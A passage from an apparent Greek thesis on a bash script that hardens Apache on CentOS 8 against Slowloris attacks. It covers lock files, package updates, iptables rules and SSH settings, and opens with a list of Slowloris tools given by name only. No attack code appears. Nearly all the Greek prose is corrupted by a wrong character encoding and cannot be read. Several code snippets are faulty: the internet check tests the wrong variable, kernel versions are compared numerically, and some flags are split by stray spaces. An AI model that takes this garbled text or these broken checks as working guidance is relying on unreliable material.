 SlowlorisChecker – Έλα Slowloris θαη Slow POST POC (Proof of concept). 

Γξακκέλν ζε Ruby. 

 Cyphon - Slowloris γηα Mac OS X, γξακκέλν ζε Objective-C. 

 sloww – Slowloris πινπνίεζε γξακκέλν ζε Node.js. 

 dotloris - Slowloris γξακκέλν ζε .NET Core 
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3 Τινπνίεζε centos8-apache-hardening bash script γηα 

επαύμεζε αζθαιείαο Apache Web Server ζε Centos 8 

Πξνθεηκέλνπ λα επηηεπρζεί ε επαύμεζε αζθάιεηαο ελόο Apache Web Server ζε 

ιεηηνπξγηθό Centos 8, πινπνηήζεθε ζηα πιαίζηα απηήο ηεο εξγαζίαο έλα bash script 

κε όλνκα centos8-apache-hardening.sh ην νπνίν κε απηνκαηνπνηεκέλν ηξόπν 

αλαιακβάλεη λα πινπνηήζεη ηελ πιεηνςεθία ησλ βέιηηζησλ πξαθηηθώλ επαύμεζεο 

αζθάιεηαο ελόο apache web server θαζώο επίζεο θαη πξνζηαζίαο ελάληηα ηεο 

Slowloris DDoS επίζεζεο όπσο πεξηγξάθηεθαλ παξαπάλσ ζην θεθάιαην 1 θαη 2. 

Αθόκα πινπνηεί επηπξόζζεηα κέηξα αζθάιεηαο ζε επίπεδν Centos 8 ιεηηνπξγηθνύ 

ζπζηήκαηνο ηα νπνία πεξηγξάθνληαη αλαιπηηθά ζην ηέινο απηνύ ηνπ θεθαιαίνπ.  

Η πινπνίεζεο ηνπ centos8-apache-hardening.sh bash script επηζπλάπηεηαη ζην 

Παξάξηεκα 1. 

3.1 Σερληθέο πξνδηαγξαθέο ηνπ bash script 

Σν bash script centos8-apache-hardening.sh αξρηθά ειέγρεη αλ είλαη εγθαηεζηεκέλνο ν 

Apache Web Server ζην Centos 8 ιεηηνπξγηθό θαη αλ δελ είλαη, ηόηε πξαγκαηνπνηεί 

ην ίδην εγθαηάζηαζε κε ρξήζε ησλ παξαθάησ εληνιώλ: 

yum install httpd 

service httpd start 

chkconfig httpd on 

θαη ζηε ζπλέρεηα, δεκηνπξγεί ηελ παξαθάησ δνθηκαζηηθή ζειίδα: 

 

Εικόνα 13. Δοκιμαζηική ζελίδα πος δημιοςπγεί ηο script αν δεν ςπάπσει installation ηος Apache Web 

Server 

  

Όκσο, αλ ν Apache Web server είλαη ήδε εγθαηεζηεκέλνο ζην Centos 8 ιεηηνπξγηθό 

ζύζηεκα, πξνθεηκέλνπ λα εθαξκόζεη επηηπρώο ηα apache hardening installations θαη 

configurations ρξεηάδεηαη λα θάλεη θάπνηνπο επηπξόζζεηνπο ειέγρνπο θαη λα 

εθηειεζηεί κε ζπγθεθξηκέλν ηξόπν από ηνλ δηαρεηξηζηή ηνπ Centos 8 ιεηηνπξγηθνύ 

όπσο πεξηγξάθεηαη παξαθάησ.  
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3.1.1 Δθηέιεζε ηνπ bash script σο root ρξήζηεο  

Ο δηαρεηξηζηήο ηνπ Centos 8 ιεηηνπξγηθνύ, πξνθεηκέλνπ λα θάλεη hardening ηνλ 

Apache web server πνπ είλαη ήδε πξνεγθαηεζηεκέλνο, ζα πξέπεη λα ηξέμεη ην bash 

script σο root ρξήζηεο κε ρξήζε ηεο παξαθάησ εληνιήο: 

chmod +x centos8-apache-hardening.sh 

sudo ./centos8-apache-hardening.sh 

Αλ ν δηαρεηξηζηήο είλαη ήδε ζπλδεδεκέλνο σο root ρξήζηεο από ηηο παξαπάλσ εληνιέο 

κπνξεί λα παξαιείςεη ην ιεθηηθό „sudo‟. 

To centos8-apache-hardening script πξνθεηκέλνπ λα δηαζθαιίζεη όηη είηε εθηειείηαη 

κε sudo είηε εθηειείηαη από ηνλ root user, πξαγκαηνπνηεί ηνλ παξαθάησ έιεγρν: 

if [ $EUID -ne 0 ]; then 

 log_error "This script must be run with root privileges." 

 _exit 

fi 

Όπνπ EUID είλαη ν αξηζκόο "effective" user ID, δειαδή ν αλαγλσξηζηηθόο αξηζκόο 

νπνηαζδήπνηε ηαπηόηεηαο έρεη ιάβεη ν ηξέρνλ ρξήζηεο θαη απηό ην ID πξέπεη λα είλαη 

κεδέλ γηα λα ζεκαηνδνηεί όηη ηξέρεη ην script ν root ρξήζηεο. 

 

3.1.2 Απνθπγή πνιιαπιώλ εθηειέζεσλ ηνπ bash script 

Δπεηδή ην centos8-apache-hardening bash script ηξέρεη ζην ηεξκαηηθό ηνπ ρξήζηε ζε 

έλα thread θαη εθαξκόδεη ηα apache hardening installations θαη configurations, αλ 

μαλά εθηειεζηεί θαηά ιάζνο ζε λέν ηεξκαηηθό ελώ ε εθηέιεζε ηνπ πξώηνπ instance 

δελ έρεη νινθιεξσζεί, απηό ζα δεκηνπξγήζεη πξόβιεκα ζηα configuration files θαη 

πηζαλώο λα νδεγήζεη ηνλ apache web server ζε θαηάξξεπζε ιόγσ misconfigurations. 

Γηα λα απνθεπρζεί ην παξαπάλσ ζελάξην, ε εθηέιεζε ηνπ bash script γηα όζν 

δηάζηεκα απηό ηξέρεη είλαη κνλαδηθή θαη δελ επηηξέπεηαη λα μαλά ηξέμεη ην ίδην script 

ζε άιιν bash instance. Απηό επηηπγράλεηαη κε ρξήζε lok files όπσο αληίζηνηρα 

ρξεζηκνπνηνύλ ηα ιεηηνπξγηθά ζπζηήκαηα semaphores γηα λα εμαζθαιίζνπλ ηνλ 

ακνηβαίν απνθιεηζκό κηαο πεξηνρήο ηεο κλήκεο από κηα δηεξγαζία θαηά ηελ δηάξθεηα 

εθηέιεζεο ηεο. 

΢πγθεθξηκέλα όηαλ ηξέμεη γηα πξώηε θνξά ην bash script centos8-apache-

hardening.sh, δεκηνπξγεί έλα αξρείν centos8-apache-hardening.lok ζην ηξέρνλ 
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directory πνπ ην εθηειεί ν ρξήζηεο. Απηό επηηπγράλεηαη κε ρξήζε ηεο παξαθάησ 

ζπλάξηεζεο: 

SCRIPT_NAME='centos8-apache-hardening' 

PWD=$(pwd) 

LOCK_FILE=${PWD}"/${SCRIPT_NAME}.lok" 

function acquire_lock()  

{ 

 echo ">>> Is going to check for lock file: $LOCK_FILE" 

 if [ ! - f "$LOCK_FILE" ]; then 

  log_info "[acquire_lock] Lock file not found" 

  touch $LOCK_FILE 

 else # otherwise the hardening script is being executed  

  log_error "Found lock file: ${LOCK_FILE} which means the script 

${SCRIPT_NAME} is is being executed!" 

  log_error "If not, please remove the lock file ${LOCK_FILE}" 

  exit 1 

 fi 

} 

Αλ πξνζπαζήζεη λα μαλά εθηειέζεη ν ρξήζηεο ην ίδην bash script ζε δεύηεξν bash 

instance, ηόηε ε παξαπάλσ ζπλάξηεζε ζα ειέγμεη όηη ππάξρεη ήδε ην αξρείν centos8-

apache-hardening.lok θαη ζα εκθαλίζεη ην παξαθάησ κήλπκα ζθάικαηνο θαη ζηε 

ζπλέρεηα ζα ηεξκαηηζηεί ε εθηέιεζε ηνπ script: 

[ERROR] Found lock file: centos8-apache-hardening.lok which means the script 

centos8-apache-hardening is is being executed! 

[ERROR] If not, please remove the lock file centos8-apache-hardening.lok 

Μόιηο νινθιεξσζεί ε εθηέιεζε ηνπ bash script θαη έρνπλ νινθιεξσζεί όια ηα 

hardening installations θαη configurations, ην παξαπάλσ lok αξρείν δηαγξάθεηαη κε 

ρξήζε ηεο παξαθάησ ζπλάξηεζεο: 

function release_lock() 

{ 

 if [ - f "$LOCK_FILE" ]; then 

  rm -rf $LOCK_FILE 

 else 
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  log_info "[release_lock] Lock file not found" 

 fi 

} 

 

3.1.3 Stateful εθηέιεζε bash script 

Σν centos8-apache-hardening.sh script θαηά ηελ δηάξθεηα ηεο εθηέιεζήο ηνπ, 

απνζεθεύεη ζε πνην βήκα βξίζθεηαη θάζε θνξά ζε αξρείν step.dat. Απηό ρξεζηκεύεη 

ζε πεξίπησζε πνπ ζπκβεί νπνηνδήπνηε ζθάικα ζπζηήκαηνο θαηά ηελ δηάξθεηα ηεο 

εθηέιεζεο ηνπ script θαη πξνθαιέζεη ηνλ πξόσξν ηεξκαηηζκό ηνπ. ΢ε απηήλ ηελ 

πεξίπησζε κόιηο γίλεη ε θαηάιιειε δηόξζσζε ηνπ ιεηηνπξγηθνύ από ηνλ δηαρεηξηζηή 

ηνπ ζπζηήκαηνο θαη μαλά εθηειεζηεί ην bash script, ζα μεθηλήζεη ε εθηέιεζή ηνπ από 

ην βήκα πνπ ζηακάηεζε πξνεγνπκέλσο θαη ζα ζπλερίζεη λα εθηειείηαη κέρξη λα 

νινθιεξσζεί ην hardening ηνπ apache web server. 

Σν παξαπάλσ πινπνηείηαη κε ρξήζε ησλ παξαθάησ ζπλαξηήζεσλ πνπ είλαη 

ππεύζπλεο γηα ηελ απνζήθεπζε, αύμεζε θαη αλάθηεζε ηνπ ηξέρνληνο βήκαηνο ηεο 

εθηέιεζεο ηνπ bash script από ην αξρείν step.dat: 

FILE=${PWD}'/step.dat'  

function save_step() { 

 

 currentStep=$1 

 [[ -z "$currentStep" ]] && { log_error "First parameter (currentStep) is empty 

in function save_step"; _exit; }  

 # show it to the user 

 # echo "step: ${currentStep}" 

 

 # and save it for next time 

 echo "${currentStep}" > $FILE 

} 

function increase_step() 

{ 

 currentStep=$1 

 [[ -z "$currentStep" ]] && { log_error "First parameter (currentStep) is empty 

in function increase_step"; _exit; }  
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 # increment the step 

 step=$((currentStep + 1)) 

} 

function retrieve_step() 

{ 

 # if we don't have a file, start at zero 

 if [ ! - f "$FILE" ]; then 

   step=0 

   # log_info "Step file not found" 

 # otherwise read the step from the file 

 else 

   step=`cat $FILE` 

   log_info "Found step: ${step}" 

 fi 

} 

 

3.1.4 Γπλαηόηεηα εθηέιεζεο script θαη ζε dev mode 

To centos8-apache-hardening bash script ππνζηεξίδεη ηελ εθηέιεζε ηνπ ζε dev mode. 

Απηό ζεκαίλεη όηη ζηελ πεξίπησζε πνπ ήδε έρνπλ γίλεη apply ηα apache hardening 

installations θαη configurations, ππάξρεη ε δπλαηόηεηα λα εθηειεζηεί μαλά ην script 

ρσξίο λα «ζθάζεη» ή λα δεκηνπξγήζεη πξόβιεκα ζηνλ apache web server, αξθεί ν 

δηαρεηξηζηήο ηνπ Centos 8 ζπζηήκαηνο λα έρεη νξίζεη ηελ κεηαβιεηή DEV=1 ζηελ 

αξρή ηνπ bash script. Αλ είλαη ελεξγνπνηεκέλε απηή ε κεηαβιεηή, ηόηε ζηελ αξρή ηεο 

εθηέιεζεο ηνπ script εθαξκόδεη ηηο θαηάιιειεο δηαγξαθέο θαη κεηνλνκαζίεο ησλ 

configuration files πνπ ρξεηάδνληαη πξνθεηκέλνπ λα ηξέμεη μαλά ην script κε 

αζθάιεηα. ΢πλνπηηθά ν θώδηθαο πνπ εθαξκόδεη απηέο ηηο αιιαγέο είλαη ν εμήο: 

if [ $DEV -eq 1 ]; then # make clean up 

 rm -rf $FILE 

 rm -rf /tmp/centos8-apache-hardening.lok 

 rm -rf /etc/httpd/crs-rules 

 rm -rf $CUSTOM_CRS_CONF 

 ... 
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 cp $HTTPD_CONF.bak $HTTPD_CONF 2> /dev/null 1>&2 && rm -rf 

$HTTPD_CONF.bak 

 cp $BASE_MODULES.bak $BASE_MODULES 2> /dev/null 1>&2 && rm -

rf $BASE_MODULES.bak 

 cp $MOD_EVASIVE_CONF.bak $MOD_EVASIVE_CONF 2> /dev/null 

1>&2 && rm -rf $MOD_EVASIVE_CONF.bak 

 cp $MOD_SECURITY_CONF.bak $MOD_SECURITY_CONF 2> /dev/null 

1>&2 && rm -rf $MOD_SECURITY_CONF.bak 

 ... 

fi 

 

3.1.5 Δθηέιεζε καδηθνύ update ηνπ Apache Web Server 

Σν centos8-apache-hardening bash script πξηλ από ηελ έλαξμε ηνπ apache hardening 

process, εθηειεί καδηθό update ζηνλ apache server πξνθεηκέλνπ λα θαηέβνπλ θαη λα 

εγθαηαζηαζνύλ όια ηα ηειεπηαία ελεκεξσκέλα παθέηα ηα νπνία πεξηέρνπλ ηα 

ηειεπηαία fixes θαη patches. Η εληνιή κε ηελ νπνία πξαγκαηνπνηείηαη ην update 

process είλαη ε εμήο: 

yum update -y 

Να ζεκεηώζνπκε εδώ όηη δελ βάδνπκε sudo κπξνζηά ζηελ παξαπάλσ εληνιή γηαηί ην 

centos8-apache-hardening bash script ηξέρεη ήδε ζε sudo context. 

Μόιηο νινθιεξσζεί ην update ηνπ Centos 8 ζπζηήκαηνο ζπλερίδεηαη θαλνληθά ε 

εθηέιεζε ηνπ hardening process όπσο πεξηγξάθεηαη ζηα θεθάιαηα 1 θαη 2.  

 

3.1.6 Καζαξηζκόο αρξείαζησλ παθέησλ 

Μεηά ηελ νινθιήξσζε ηεο εγθαηάζηαζεο ησλ θαηάιιεισλ παθέησλ θαη ηεο 

εθαξκνγήο ησλ θαηάιιεισλ security hardening configurations, πξαγκαηνπνηείηαη 

έλαο έιεγρνο γηα ηπρόλ απεγθαηάζηαζεο αρξείαζησλ παθέησλ κε ρξήζε ηεο 

παξαθάησ εληνιήο: 

yum autoremove -y 

Όκνηα δελ βάδνπκε sudo κπξνζηά ζηελ παξαπάλσ εληνιή γηαηί ην script ηξέρεη ήδε 

ζε sudo context. 



44 
 

Αλ ππάξρνπλ δηαζέζηκα παθέηα πξνο αθαίξεζε, δηαγξάθνληαη επηηπρώο θαη αδεηάδεη 

παξάιιεια ρώξνο από ην δίζθν ηνπ Centos 8 ιεηηνπξγηθνύ. 

 

3.1.7 Έιεγρνο γηα επαλεθθίλεζε ζην ηέινο ηεο εθηέιεζεο ηνπ script 

Σν bash script centos8-apache-hardening θαηά ηελ δηάξθεηα ηεο εθηέιεζήο ηνπ θαη 

πξηλ μεθηλήζεη λα εθαξκόδεη ηα security hardening configurations, θάλεη εγθαηάζηαζε 

αξθεηά παθέηα πνπ αλαβαζκίδνπλ ηόζν ην ίδην ην Centos 8 ιεηηνπξγηθό όζν θαη ηνλ 

ίδην ηνλ apache web server. Μόιηο ηειεηώζεη ε παξαπάλσ δηαδηθαζία, ζην ηέινο 

πξαγκαηνπνηείηαη έιεγρνο ζε πεξίπησζε πνπ ρξεηάδεηαη λα γίλεη επαλεθθίλεζε ηνπ 

Centos 8 ιεηηνπξγηθνύ εμαηηίαο ηεο εγθαηάζηαζεο ησλ παξαπάλσ παθέησλ. Ο 

έιεγρνο απηόο πξαγκαηνπνηείηαη κε ρξήζε ηεο παξαθάησ ζπλάξηεζεο: 

function check_for_restart() 

{ 

 restart=`needs-restarting -r >/dev/null && echo $?` 

 if [[ ${restart} -ne 0 ]]; then 

  log_info "Reboot $HOSTNAME to install kernel or core libs." 

 else 

  LAST_KERNEL=$(rpm -q --last kernel | perl -pe 's/^kernel-

(\S+).*/$1/' | head -1) 

  CURRENT_KERNEL=$(uname -r) 

 

  if [[ ${LAST_KERNEL} -ne ${CURRENT_KERNEL} ]]; then 

   log_info "Reboot $HOSTNAME to install kernel or core libs." 

  else 

   log_info "No restart needed!" 

  fi 

 fi 

} 

Αλ ρξεηαζηεί λα γίλεη επαλεθθίλεζε, ηόηε ζα εκθαλίζεη ην script ην παξαθάησ 

ελεκεξσηηθό κήλπκα ζηνλ δηαρεηξηζηή ηνπ ζπζηήκαηνο: 

[info] Reboot $HOSTNAME to install kernel or core libs.  

Αιιηώο, ζα εκθαλίδεη ην κήλπκα όηη δελ ρξεηάδεηαη λα πξαγκαηνπνηεζεί ε 

επαλεθθίλεζε θαη όηη κπνξεί λα ζπλερίζεη λα είλαη up and running ν web server. 
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3.1.8 Δκθάληζε ρξόλνπ εθηέιεζεο ηνπ script 

Γηα λα έρεη ν δηαρεηξηζηήο ηνπ ζπζηήκαηνο κηα εηθόλα γηα ην ρξνληθό δηάζηεκα πνπ 

κπνξεί λα δηαξθέζεη ην security hardening process, ην bash script centos8-apache-

hardening εκθαλίδεη ζην ηέινο ηεο εθηέιεζήο ηνπ ην ρξόλν πνπ έθαλε κέρξη λα 

νινθιεξσζεί. Απηό πινπνηείηαη κε ρξήζε ησλ παξαθάησ: 

START=$(date +%s) 

Η παξαπάλσ εληνιή εθηειείηαη θαηεπζείαλ κε ην πνπ μεθηλήζεη ν δηαρεηξηζηήο ηνπ 

Centos 8 ζπζηήκαηνο λα εθηειεί ην centos8-apache-hardening bash script θαη 

απνζεθεύεη ζηελ κεηαβιεηή START ηελ ηξέρνπζα ηηκή ηνπ timestamp. ΢ηε ζπλέρεηα 

ην script εθηειεί όιεο ηηο απαξαίηεηεο ελέξγεηεο πξνθεηκέλνπ λα νινθιεξώζεη ην 

security hardening process θαη ιίγν πξηλ νινθιεξσζεί ην script θαη επηζηξέςεη ν 

έιεγρνο ηνπ ηεξκαηηθνύ ζην bash, εθηεινύληαη νη παξαθάησ εληνιέο: 

END=$(date +%s) 

DIFF=$(( $END - $START )) 

secs=$DIFF 

echo -n "The execution time is: " 

printf '%dh:%dm:%ds\n' $(($secs/3600)) $(($secs%3600/60)) $(($secs%60)) 

΢ηελ κεηαβιεηή END απνζεθεύεηαη μαλά ε ηξέρνπζα ηηκή ηνπ timestamp ε νπνία 

είλαη κεγαιύηεξε από ηελ κεηαβιεηή START αθνύ εθηειέζηεθε κεηαγελέζηεξα, 

δειαδή κεηά ηελ νινθιήξσζε ηνπ security hardening process. Τπνινγίδεηαη ζηε 

ζπλέρεηα ε δηαθνξά θαη ζην ηέινο εθηππώλεηαη ζηνλ ρξήζηε ν ζπλνιηθόο ρξόλνο 

εθηέιεζεο ηνπ script. 

Ο ρξόλνο εθηέιεζεο ηνπ script δηαθέξεη αλάινγα ηελ ππνινγηζηηθή ηζρύ ηεο θάζε 

κεραλήο. Γηα παξάδεηγκα ζε έλα vagrant centos 8 VM κε 2GB κλήκε RAM θαη 2 

processors ρξεηάδεηαη γηα λα νινθιεξσζεί ην centos8-apache-hardening bash script 

πεξίπνπ 5:30 ιεπηά. 

 

3.2 Έιεγρν πξναπαηηνύκελσλ πξηλ ηελ εθηέιεζε 

Παξαθάησ πεξηγξάθνληαη νξηζκέλνη έιεγρνη πνπ πξαγκαηνπνηεί ην bash script 

centos8-apache-hardening πξνθεηκέλνπ λα κπνξεί λα θάλεη apply ηα security 

hardening configurations. 
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3.3.1 ΢ύλδεζε ζην Internet 

Απαξαίηεην ζπζηαηηθό ηεο security hardening δηαδηθαζίαο είλαη ε ζύλδεζε ηνπ 

Centos 8 πεξηβάιινληνο κε ην Internet. Ο ιόγνο πνπ ρξεηαδόκαζηε ην Internet είλαη 

γηα λα θαηεβάζεη ην script όια ηα απαξαίηεηα παθέηα πξνθεηκέλνπ λα θάλεη update ην 

ίδην ην ιεηηνπξγηθό αιιά θαη ηνλ apache web server, λα θαηεβάζνπκε ηα απαξαίηεηα 

modules θαη hardening rules από ην Internet θαη λα ηα θάλνπκε εγθαηάζηαζε ζηνλ 

apache web server πξνθεηκέλνπ λα ζσξαθίζνπκε ηνλ server από επηζέζεηο ηύπνπ 

Slowloris. 

Ο έιεγρνο πνπ θάλεη ην script γηα λα δηαπηζηώζεη αλ ην πεξηβάιινλ πνπ ηξέρεη έρεη 

πξόζβαζε ζην Internet είλαη ν εμήο: 

# test an internet connection 

curl 1.1.1.1 2> /dev/null 1>&2 

if [ ${UID} -ne 0 ]; then 

 log_error "No internet connection found!" 

 _exit 

fi 

Αλ ην παξαπάλσ curl δελ επηζηξέςεη επηηπρώο, ηόηε ζεκαίλεη όηη δελ έρεη πξόζβαζε 

ην Centos 8 πεξηβάιινλ ζην Internet θαη έηζη ζηακαηάεη ε εθηέιεζε ηνπ script ζε 

εθείλν ηνλ έιεγρν ρσξίο λα πξνρσξήζεη ζηα security hardening βήκαηα. 

 

3.3.2 Έθδνζε Centos 8 

Η έθδνζε ηνπ ιεηηνπξγηθνύ ζπζηήκαηνο, δειαδή λα είλαη Centos 8, είλαη πνιύ 

ζεκαληηθόο παξάγνληαο πξνθεηκέλνπ ην centos8-apache-hardening bash script λα 

ζπλερίζεη λα εθαξκόδεη ηα security apache hardening configuration ηνπ. Ο ιόγνο 

είλαη όηη νη εληνιέο θαζώο επίζεο θαη ηα installation directories από έθδνζε ζε 

έθδνζε ιεηηνπξγηθνύ αιιά θαη από δηαλνκή ζε δηαλνκή δηαθέξνπλ. Δπνκέλσο αλ 

ηπρόλ centos8-apache-hardening bash script μεθηλήζεη λα ηξέρεη γηα παξάδεηγκα ζε 

Ubuntu linux ιεηηνπξγηθό, επεηδή εθεί νη εληνιέο εγθαηάζηαζε ησλ security 

hardening modules θαζώο επίζεο θαη ηα installation paths είλαη δηαθνξεηηθά, ην script 

θαηά ηελ δηάξθεηα ηεο εθηέιεζήο ηνπ ζα «έζθαγε» κε απνηέιεζκα λα κελ 

νινθιεξσζεί ζσζηά ε apache security hardening δηαδηθαζία. Δπνκέλσο ν έιεγρνο γηα 

λα εμαζθαιίζνπκε όηη ην script centos8-apache-hardening ηξέρεη πάλσ ζε Centos 8 

ιεηηνπξγηθό είλαη ν εμήο: 
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if ! cat /etc/centos-release | grep 'CentOS' | grep '8' 2> /dev/null 1>&2; then 

 log_error "Unsupported Linux distribution. Only CentOS 8 Supported" 

 _exit 

fi 

 

3.3.3 Έθδνζε Bash 

Όκνηα κε ηελ έθδνζε ηνπ ιεηηνπξγηθνύ ζπζηήκαηνο, ειέγρνπκε θαη ηελ έθδνζε ηνπ 

bash ηελ νπνία ζα ηξέμεη ην script centos8-apache-hardening. Ο ιόγνο είλαη γηαηί 

θάζε ιεηηνπξγηθό κπνξεί λα θέξεη δηαθνξεηηθή πινπνίεζε bash κε απνηέιεζκα λα 

ππάξρνπλ «ζθαζίκαηα» ζε εληνιέο πνπ ηξέρεη ην centos8-apache-hardening script γηα 

λα εθαξκόζεη ηα security hardening configuration ηνπ. Έηζη ε έθδνζε θαζώο επίζεο 

θαη αλ ην ηεξκαηηθό είλαη ζε bash ειέγρεηαη κε ην παξαθάησ ηξόπν: 

if ! bash --version | grep - i 'bash' 2> /dev/null 1>&2; then 

 log_error "Please install bash to continue.." 

 _exit 

fi 

 

3.3.1 Ύπαξμε Systemctl 

Η εληνιή systemctl είλαη έλα βνεζεηηθό πξόγξακκα ηνπ ιεηηνπξγηθνύ ην νπνίν είλαη 

ππεύζπλν γηα ηελ εμέηαζε θαη ηνλ έιεγρν ηνπ systemd ζπζηήκαηνο θαη ηνπ service 

manager. Δίλαη κηα ζπιινγή από δηαρεηξηζηηθέο βηβιηνζήθεο ζπζηήκαηνο νη νπνίεο 

είλαη πνιύ ρξήζηκεο γηα λα δηαρεηξίδνληαη ππεξεζίεο ηνπ web server. Παξέρεη 

ιεπηνκεξείο πιεξνθνξίεο γηα ζπγθεθξηκέλεο systemd ππεξεζίεο θαη άιιεο πνπ έρνπλ 

ρξήζε ζε νιόθιεξν ηνλ web server [21]. 

Δπνκέλσο ε ύπαξμε ηνπ systemctl είλαη ζεκαληηθή θαη ην centos8-apache-hardening 

bash script ειέγρεη αλ ππάξρεη κε ηνλ παξαθάησ ηξόπν: 

if ! [ -x "$(which systemctl)" ]; then 

 log_error "systemctl required. Unsupported setup.." 

 _exit 

fi 
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3.3.2 Ύπαξμε IPTables 

Σέινο ην centos8-apache-hardening bash script ειέγρεη αλ ππάξρνπλ IPTables πξηλ 

ηελ έλαξμε ηεο εθαξκνγήο ησλ apache hardening configurations κε ηνλ παξαθάησ 

ηξόπν: 

IPTABLES_CONFIG='/etc/sysconfig/iptables'  

if ! test - f "$IPTABLES_CONFIG"; then 

 log_error "$IPTABLES_CONFIG firewall config file not found." 

 log_info "Is going to install iptables package, please wait..." 

 systemctl stop firewalld 

 systemctl disable firewalld 

 install_packages $IPTABLES_PACKAGE 

 systemctl enable iptables 

 systemctl start iptables 

 systemctl status iptables 

 systemctl start firewalld 

fi 

Αλ ηπρόλ ην script δελ βξεη ζρεηηθά iptables configuration files, ηόηε ζεκαίλεη όηη δελ 

ππάξρνπλ. Οπόηε, θαηεβάδεη ην firewall, θάλεη εγθαηάζηαζε ηα θαηάιιεια παθέηα 

ζην Centos 8 πεξηβάιινλ θαη ζηε ζπλέρεηα αλεβάδεη πάιη ην firewall ελώ έρεη ήδε 

ελεξγνπνηήζεη θαη μεθηλήζεη ηα iptables ηα νπνία ζα ηα θάλεη configure ζηε ζπλέρεηα. 

 

3.3 Δπηπξόζζεηε επαύμεζε αζθάιεηαο ζε Centos 8 Web Server 

Σν centos8-apache-hardening bash script, εθηόο από ηελ πξαγκαηνπνίεζε ηεο 

αζθάιεηαο ηνπ Apache server πνπ πινπνηεί, (όπσο πεξηγξάθνληαη αλαιπηηθά ζην 

Κεθάιαην 1 θαη 2), πινπνηεί επίζεο επηπξόζζεηε αζθάιεηα θαη ζηηο παξαθάησ 

πεξηνρέο. 

3.3.1 Iptables hardening 

Η πξνζηαζία ηνπ Linux server είλαη πνιύ ζεκαληηθή θπξίσο γηα ηελ πξνζηαζία ησλ 

δεδνκέλσλ καο, ηεο πλεπκαηηθήο ηδηνθηεζίαο καο από ηα ρέξηα ησλ θαθόβνπισλ 

ρξεζηώλ (hackers). 

To firewall ηνπ Apache Centos 8 server ειέγρεηαη από έλα πξόγξακκα πνπ 

νλνκάδεηαη iptables ην νπνίν ρεηξίδεηαη ην θηιηξάξηζκα γηα ην IPv4 (αληίζηνηρα ην 

ip6tables ρεηξίδεηαη ην θηιηξάξηζκα γηα ην IPv6). 
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Παξαθάησ επηζπλάπηνληαη ελδεηθηηθά νξηζκέλα από ηα iptables rules πνπ πινπνηεί ην 

bash script centos8-apache-hardening ηα νπνία κπνξνύλ λα θηιηξάξνπλ ζε πςειό 

βαζκό ηελ παξάλνκε θίλεζε : 

# Block a specific ip-address 

BLOCK_THIS_IP="192.168.1.254" 

iptables -A INPUT -s "$BLOCK_THIS_IP" -j DROP 

# Allow ALL incoming SSH 

iptables -A INPUT -i eth0 -p tcp --dport 22 -m state --state NEW,ESTABLISHED -j 

ACCEPT 

iptables -A OUTPUT -o eth0 -p tcp --sport 22 -m state --state ESTABLISHED -j 

ACCEPT 

# Allow incoming SSH only from a sepcific network 

# EXTERNAL_NET=`ip  - f inet a show eth0 | grep inet| awk '{print $2}'` # e.g. inet 

address of eht1 network 172.28.128.20/24 

EXTERNAL_NET='192.168.1.0/24'  

iptables -A INPUT - i eth0 -p tcp -s $EXTERNAL_NET --dport 22 -m state --state 

NEW,ESTABLISHED -j ACCEPT 

iptables -A OUTPUT -o eth0 -p tcp --sport 22 -m state --state ESTABLISHED -j 

ACCEPT 

# Allow incoming HTTP 

iptables -A INPUT -i eth0 -p tcp --dport 80 -m state --state NEW,ESTABLISHED -j 

ACCEPT 

iptables -A OUTPUT -o eth0 -p tcp --sport 80 -m state --state ESTABLISHED -j 

ACCEPT 

# Allow incoming HTTPS 

iptables -A INPUT - i eth0 -p tcp --dport 443 -m state --state NEW,ESTABLISHED -j 

ACCEPT 

iptables -A OUTPUT -o eth0 -p tcp --sport 443 -m state --state ESTABLISHED -j 

ACCEPT 

... 

... 

# Allow POP3 and POP3S 
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iptables -A INPUT - i eth0 -p tcp --dport 110 -m state --state NEW,ESTABLISHED -j 

ACCEPT 

iptables -A OUTPUT -o eth0 -p tcp --sport 110 -m state --state ESTABLISHED -j 

ACCEPT 

iptables -A INPUT - i eth0 -p tcp --dport 995 -m state --state NEW,ESTABLISHED -j 

ACCEPT 

iptables -A OUTPUT -o eth0 -p tcp --sport 995 -m state --state ESTABLISHED -j 

ACCEPT 

# Prevent DoS attack 

iptables -A INPUT -p tcp --dport 80 -m limit --limit 25/minute --limit-burst 100 -j 

ACCEPT 

Μεηά ηελ νινθιήξσζε ησλ iptables, ρξεηάδεηαη λα απνζεθεπηνύλ θαη λα γίλεη 

επαλεθθίλεζε ην iptables service κε ρξήζε ησλ παξαθάησ εληνιώλ: 

service iptables save 

iptables –nvL 

systemctl restart iptables  

iptables-restore < /etc/sysconfig/iptables 

Να ζεκεησζεί όηη ε πιήξε ιίζηα κε ηα iptables rules επηζπλάπηεηαη καδί κε ηνλ 

θώδηθα ηνπ centos8-apache-hardening script ζην Παξάξηεκα 1. 

 

3.3.2 SSH hardening 

Σν OpenSSH (ή Secure SHell) έρεη γίλεη ην de facto πξόηππν γηα απνκαθξπζκέλε 

πξόζβαζε ην νπνίν έρεη αληηθαηαζηήζεη ην πξσηόθνιιν telnet. Σν SSH έρεη θάλεη 

πξσηόθνιια όπσο ην telnet πεξηηηό εμαηηίαο ηνπ γεγνλόηνο όηη ε ζύλδεζε είλαη 

θξππηνγξαθεκέλε θαη νη θσδηθνί πξόζβαζεο δελ ζηέιλνληαη πιένλ ζαλ έλα απιό 

θείκελν γηα λα ην βιέπνπλ όινη. 

Παξόια απηά, ε πξνεπηιεγκέλε εγθαηάζηαζε ηνπ SSH δελ είλαη άξηζηε, θαη όηαλ 

ηξέρεηο έλαλ SSH server, ππάξρνπλ κεξηθά απιά βήκαηα πνπ κπνξνύλ λα γίλνπλ γηα 

λα απμεζεί ε αζθάιεηα ηεο εγθαηάζηαζεο δξακαηηθά [18]. 

Σν bash script centos8-apache-hardening script πινπνηεί κηα ιίζηα κε SSH hardening 

configurations ε νπνία βξίζθεηαη ζην Παξάξηεκα 1. Παξαθάησ επηζπλάπηνληαη 

νξηζκέλα από απηά ηα SSH hardening configurations: 

SSHD_CONFIG='/etc/ssh/sshd_config' 
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log_info "Changing ssh port from input." 

SSH_PORT="22" 

log_info "Configuring ssh port to ${SSH_PORT}." 

set_parameter "Port" ${SSH_PORT} ${SSHD_CONFIG} 

log_info "Enabling public key authentication." 

set_parameter "PubkeyAuthentication" "yes" ${SSHD_CONFIG} 

log_info "Disabling the authentication of throughtrusted hosts via the user." 

set_parameter "HostbasedAuthentication" "no" ${SSHD_CONFIG}  

set_parameter "RhostsRSAAuthentication" "no" ${SSHD_CONFIG}  

… 

… 

log_info "Configuring protocol to version 2." 

